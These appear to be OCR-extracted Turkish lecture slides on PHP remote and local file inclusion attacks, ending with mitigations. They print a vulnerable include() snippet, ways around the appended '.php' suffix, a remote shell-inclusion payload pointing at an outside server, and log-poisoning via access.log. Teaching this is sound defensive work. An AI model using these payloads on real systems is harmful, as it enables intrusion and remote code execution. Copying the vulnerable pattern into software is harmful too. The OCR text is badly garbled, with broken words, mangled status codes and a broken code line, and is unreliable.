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KOD/DOSYA
ENJEKSIYONU

Bu saldirida uygulamalarin girdi
kisimlar1 hedef alinmaktadir.
Kullanicidan alinan igerisinde
zararl kod barindiran dosyanin
uygulamaya dahil edilerek
calistiritlmasindan kaynaklanir.
Sik kullanilan metodlarin modiiler
olarak ¢agrilmasi i¢in kullanilan
include() ve require() gibi
metodlarin kontrolsiiz

kullanimindan dogan bir zafiyettir.

REI SALDIRISI

Icerisinde zararli kod barindiran
dosyalarin uygulamaya uzak
sunucu yolu belirtilerek baska bir
sunucudan uygulamaya dahil
edilmesine denir.

Sunucu iizerinde yetki elde etmeyi
saglayabilir.

Eger zararli kod uygulamada
caligmiyor ise (yorumlanmiyorsa)
bu yontem ile istemciler hedef
almir.

Saldir1 Asamalari

Sucuyua normal bir istek yapilarak

burada kullanilan parametrelere
alinan cevaplar sayesinde birgok
ipucu elde edilir.

Mesela file=image istedigimize
404 NOT FOUND cevabi1
aliyorsak sunucu tizerinde
image.php adli bir dosya
bulunmadigini 6grenmis oluruz.

YADA

File=kaynake¢a scklinde bir istek
yaptigimiz da 200 OK cevabini aliyorsak
sunucu tizerinde kaynakea.php adli bir
dosyanin mevcut oldugu bilgisine erigsmis
oluruz.

3. Page parametresine uzak sunucuda
bulunan zararli dosya yolu ile
beraber deger olarak atanir.

4. Eger hedef lizerinde zafiyet var ise
uzak sunucudan dosya ¢agirma
islemi gergeklesir.

5. Zararh kod pargas1 uygulama
icerisinde yorumlanirsa saldir1
basariyla sonuclanmis
demektir.Fakat ¢alismazsa
istemciler lizerinde XSS denemeleri
yapilabilmektedir.

$file = # GETI[ file’];
Include($file.”.php”);

(zafiyet i¢eren bir kod pargasi)

=>» Girilen her bir degere .php
ekleyerek Include() igerisinde
cagirma yapar.

=> Burada saldir1 igin kullandigimiz
parametlerin sonlarina “ 2> veya
“ 2000  ekleyerek .php ekleme
islmini ByPass etmis oluruz.

Uzak sunucudan dosya ¢agirmak i¢in;

?FILE=[http||https||ftp]://sunucu/Shell.txt



LFI SALDIRISI

1. Hedef uygulamadaki dosya
yilikleme formu kullanilir.Bu
nedenle 6ncelikle forma istek
yapilir.

2. Gelen cevap Hitp cevabidir ve

boylelikle form goriintiilenebilir.
3. Zararh kod barindiran Shelltxt

dsovyasi ile sisteme
Yy

yiiklenir.

4. ROOOK cevabi alintyorsa yiikleme
islemi basariyla sonuclanmistir.

a. Yiklenen dosyanin dizinini
tespit et

b. Uzanti engeli varsa

include() ve require() metod

zafiyetine ihtiyag

vardir.

yiiklemesinde sorun yoksa

islem de sorunsuzdur.

6. B00OK cevabi aliyorsa kod
calisir ve istismar gerceklesmis
demektir.

TEST ETMEK ICIN

Upload formlar ile dogrudan PHP
kodunun php dosyasi ile yliklenmeye
caligilmasidir.

Dizin gezinimi yapilabiliyorsa _
dosyasin {izerinden saldiri-komut
calistirma yapabiliriz.

Hedef sistemi olusturan yazilimci
Access.log dosyasini gizlemis yada yolunu
ve adin1 daha karmasik hale getirmis
olabilir.

Bu durumda hitpd.conf ve
_ dosyalarina erigim

saglayabilirsek Access.log dosyasinin
yerinide bulabiliriz.

Almacak Onlemler

Php.ini dosyasindan

~allow_url_include

~allow_url_fopen

Degerleri OFF (kapali)
olmalidir.

Null Byte engellenmelidir.(%00
kullanimi)
Formlardan upload edilen
dosyalar veya parametlereler
uygulama igerisinde dogrudan
calistirilmamalidir.

e Dosya tipi

e Dosya uzantisi

e Mime degeri

Kontrol edilmelidir.

BEYAZNISIBIRH olusturulmalidir.
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